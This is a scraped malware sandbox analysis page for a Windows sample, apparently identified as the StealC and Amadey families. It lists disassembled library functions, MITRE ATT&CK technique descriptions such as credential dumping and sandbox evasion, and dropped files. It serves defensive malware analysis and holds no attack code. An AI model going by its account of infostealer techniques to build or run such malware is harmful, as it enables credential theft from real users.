Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

NaN, xrefs: 6C969EC1
Infinity, xrefs: 6C969EB7

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFBFHDBK

C:\ProgramData\DAECFIJD

C:\ProgramData\DAECFIJDAAAKECBFCGHI

C:\ProgramData\ECAKKKKJDBKKFIEBKEHD

C:\ProgramData\FHIIEHJKKECGCBFIIJDAKFHJKJ

C:\ProgramData\HDAKJDHIEBFIIDGDGDBA

C:\ProgramData\IDGDAAKFHIEHIECAFBAAEBKFBA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

